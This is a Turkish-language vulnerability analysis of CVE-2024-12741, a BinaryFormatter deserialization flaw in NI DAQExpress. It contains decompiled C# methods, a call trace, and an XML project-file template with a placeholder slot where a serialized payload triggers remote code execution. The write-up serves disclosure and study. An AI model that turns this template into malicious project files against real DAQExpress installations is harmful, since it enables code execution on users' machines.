CVE-2024-12741 NI DAQExpress Remote Code Execution
CVE-2024-12741⌗
Affected Versions: DAQExpress 5.1 and all prior versions.
NI (National Instruments) firmasi tarafindan gelistirilen sensorlerden olcum ve cihazlardan veri toplamak icin kullanilan bir yazilimdir.
Analysis⌗
Daqexpress urununu incelerken birden fazla deserialize
acigi ile karsilastim (xamlreader,binaryformatter) bugun bunlardan BinaryFormatter
olanini analiz edecegiz.
Uygulama birden fazla ozellik ile calisiyor bizim ilgilendigimiz kisim kullanicidan bir proje dosyasi alip onu islemesi.
Deserialize⌗
- BinaryFormatter sinifini tanimliyor.
serializedValue
stringini base64 decode ediyor.DataValueSerializer
classinin CompressionMethod enumuna gore compression none mi gzip mi kontrol ediyor, eger compression gzip ise onu gzipten cikartip deserialize ediyor.- Compression
None
ise direk deserialize ediyor.
DataItem⌗
Parse
methodu verecegimiz xml icindeki arraylari tek tek parcalayip RecursiveParse
methoduna gonderecek.
public bool Parse(XElement serializedArray, Array deserializedArray, long[] dimensionLengths, DataValueSerializer.CompressionMethod compression)
{
long[] array = new long[dimensionLengths.Length];
this._elementGroups = serializedArray.Elements().ToArray<XElement>();
this._groupIndex = 0;
return this.RecursiveParse(array, dimensionLengths, 0, deserializedArray, compression);
}
DataItem
classi bizden belli basli veriler aliyor bunlardan bazilari AdaptToDiagramType
,DataType
,Compression
,IsBinary
. Compression bolumu ParseElement
sinifinda gordugumuz verinin ne oldugu kismi gzip mi gibi. Ayni zamanda DataItem
classi exploit edecegimiz class.
public sealed class DataItem : DfirElement, ISortableDataItem
{
...
// Token: 0x17000320 RID: 800
// (get) Token: 0x06000A3B RID: 2619 RVA: 0x00019E1B File Offset: 0x0001801B
// (set) Token: 0x06000A3C RID: 2620 RVA: 0x00019E23 File Offset: 0x00018023
public bool AdaptToDiagramType { get; set; }
// Token: 0x17000321 RID: 801
// (get) Token: 0x06000A3D RID: 2621 RVA: 0x00019E2C File Offset: 0x0001802C
// (set) Token: 0x06000A3E RID: 2622 RVA: 0x00019E34 File Offset: 0x00018034
public TryGetAcceptableAccessorTypeFunction AdaptToDiagramTypeBehavior { get; set; }
// Token: 0x17000322 RID: 802
// (get) Token: 0x06000A3F RID: 2623 RVA: 0x00019E3D File Offset: 0x0001803D
// (set) Token: 0x06000A40 RID: 2624 RVA: 0x00019E45 File Offset: 0x00018045
public IList<DataItemBindingInfo> BindingInfo { get; private set; }
// Token: 0x17000323 RID: 803
// (get) Token: 0x06000A41 RID: 2625 RVA: 0x00019E4E File Offset: 0x0001804E
// (set) Token: 0x06000A42 RID: 2626 RVA: 0x00019E56 File Offset: 0x00018056
public int BufferSize { get; set; }
// Token: 0x17000324 RID: 804
// (get) Token: 0x06000A43 RID: 2627 RVA: 0x00019E5F File Offset: 0x0001805F
// (set) Token: 0x06000A44 RID: 2628 RVA: 0x00019E67 File Offset: 0x00018067
public bool IsLatched { get; private set; }
// Token: 0x17000325 RID: 805
// (get) Token: 0x06000A45 RID: 2629 RVA: 0x00019E70 File Offset: 0x00018070
// (set) Token: 0x06000A46 RID: 2630 RVA: 0x00019E78 File Offset: 0x00018078
public string CompiledName { get; set; }
// Token: 0x17000326 RID: 806
// (get) Token: 0x06000A47 RID: 2631 RVA: 0x00019E81 File Offset: 0x00018081
// (set) Token: 0x06000A48 RID: 2632 RVA: 0x00019E89 File Offset: 0x00018089
public string ConnectorPaneName { get; private set; }
// Token: 0x17000327 RID: 807
// (get) Token: 0x06000A49 RID: 2633 RVA: 0x00019E92 File Offset: 0x00018092
// (set) Token: 0x06000A4A RID: 2634 RVA: 0x00019E9A File Offset: 0x0001809A
public IList<DataAccessor> DataAccessors { get; private set; }
// Token: 0x17000328 RID: 808
// (get) Token: 0x06000A4B RID: 2635 RVA: 0x00019EA3 File Offset: 0x000180A3
public IList<Node> DependentNodes { get; }
...
// Token: 0x040002CC RID: 716
private NIType _dataType;
// Token: 0x040002CD RID: 717
private object _defaultValue;
// Token: 0x040002CF RID: 719
private DfirRoot _dfirRoot;
}
}
Trace⌗
NationalInstruments.SourceModel.Persistence.DataValueSerializer.BinaryArrayParser.ParseElement(string, DataValueSerializer.CompressionMethod) : IList @0600D896
NationalInstruments.SourceModel.Persistence.DataValueSerializer.BinaryArrayParser.RecursiveParse(long[], long[], int, Array, DataValueSerializer.CompressionMethod) : bool @0600D895
NationalInstruments.SourceModel.Persistence.DataValueSerializer.BinaryArrayParser.Parse(XElement, Array, long[], DataValueSerializer.CompressionMethod) : bool @0600D894
NationalInstruments.SourceModel.Persistence.DataValueSerializer.ParseDataValueAsXmlHierarchy(Element, DataTypeReferenceTable, NIType, XElement, out object) : bool @060056CB
NationalInstruments.SourceModel.Persistence.DataValueSerializer.ParseDataValue(Element, DataTypeReferenceTable, NIType, XElement, out object) : bool @060056C4
NationalInstruments.SourceModel.Persistence.DataValueParserContext.ParseDataValue(out object) : bool @0600555A
NationalInstruments.SourceModel.Persistence.DataValueSerializer.FixupDataValue(Element, DataTypeReferenceTable, SerializablePropertySymbol, XDocument, ICompositionHost) : void @060056C2
NationalInstruments.SourceModel.Persistence.DataValueSerializer.TryParse(SerializablePropertySymbol, IElementPropertyParser, out object) : bool @060056C0
Important Part⌗
private void FixupDataValue(Element owner, DataTypeReferenceTable typeTable, SerializablePropertySymbol propertySymbol, XDocument xDoc, ICompositionHost host)
{
IDataTypeReferenceOwner dataTypeReferenceOwner = owner as IDataTypeReferenceOwner;
if (dataTypeReferenceOwner == null)
{
throw new InvalidOperationException("The owner must implement the IDataTypeReferenceOwner interface");
}
NIType dataType = this.GetDataType(dataTypeReferenceOwner, propertySymbol);
object obj = null;
XAttribute xattribute = xDoc.Root.Attribute("CookieReference");
if (xattribute != null)
{
string value = xattribute.Value;
if (value != "null")
{
ICookieJar sharedExportedValue = host.GetSharedExportedValue<ICookieJar>();
XAttribute xattribute2 = xDoc.Root.Attribute("CookieJar");
if (xattribute2 != null && Guid.Parse(xattribute2.Value) != sharedExportedValue.CookieJarId)
{
throw new InvalidParseException("Copying clipboard contents with cookie references isn't supported between different processes.");
}
Cookie cookie = sharedExportedValue.GetCookie(value);
if (cookie != null)
{
obj = DataCopyHelper.DeepCopy<object>(cookie.Thing);
}
}
}
else
{
DataValueSerializer.ParseDataValue(owner, typeTable, dataType, xDoc.Root, out obj);
}
owner.SetPropertyValue(propertySymbol, obj);
}
Dikkat etmemiz gereken kisim if CookieReference
blogu bu kismi bos biraktigimizda bizi ParseDataValue
methoduna atacak ve geri kalan trace islemi devam edecek.
internal static bool ParseDataValue(Element owner, DataTypeReferenceTable typeTable, NIType currentType, XElement currentElement, out object dataValue)
{
XText xtext = currentElement.Nodes().OfType<XText>().FirstOrDefault<XText>();
string text = ((xtext != null) ? xtext.Value : null);
if (DataValueSerializer.ParseSimpleDataValue(currentType, text, out dataValue))
{
return true;
}
XElement xelement = currentElement.Elements().FirstOrDefault<XElement>();
if (xelement != null && DataValueSerializer.ParseDataValueAsXmlHierarchy(owner, typeTable, currentType, xelement, out dataValue))
{
return true;
}
throw new InvalidParseException(string.Format(CultureInfo.InvariantCulture, "Failed to parse data value {0} for data type {1}.", currentElement, currentType.AsFormattedString));
}
Exploit7 Bolumu⌗
<DataItem AdaptToDiagramType="True" DataType="Boolean[]" Id="1" Name="" xmlns="http://www.ni.com/MocCommon">
<p.DefaultValue>
<Array Lengths="2" IsBinary="" Compression="GZip/None">
<Exploit7>[base64 (none) or Gzip data]</Exploit7>
</Array>
</p.DefaultValue>
</DataItem>